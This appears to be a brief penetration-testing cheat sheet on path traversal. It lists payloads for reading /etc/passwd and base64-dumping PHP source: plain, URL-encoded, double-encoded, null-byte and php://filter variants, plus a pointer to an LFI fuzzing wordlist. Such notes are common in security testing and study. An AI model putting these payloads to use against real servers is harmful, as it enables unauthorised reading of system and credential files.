Notes

Path Traversal

Exploit

Section titled “Exploit”

Basic

Section titled “Basic”
Terminal window
../../../etc/passwd

Encoded

Section titled “Encoded”
Terminal window
/%2e%2e%2f%2e%2e%2f%2e%2e/etc/passwd

Double encoded

Section titled “Double encoded”
Terminal window
%252e%252e%252f%252e%252e%252fetc%252fpasswd

Hard-coded path

Section titled “Hard-coded path”
Terminal window
/var/www/images/../../../etc/passwd

Null byte

Section titled “Null byte”

Append %00, character following null byte will be ignored

Terminal window
../../../../../passwd%00

PHP

Section titled “PHP”
Terminal window
php://filter/read=convert.base64-encode/resource=index.php

Fuzzing

Section titled “Fuzzing”

Fuzz using LFI-Jhaddix.txt wordlist

Resources

Section titled “Resources”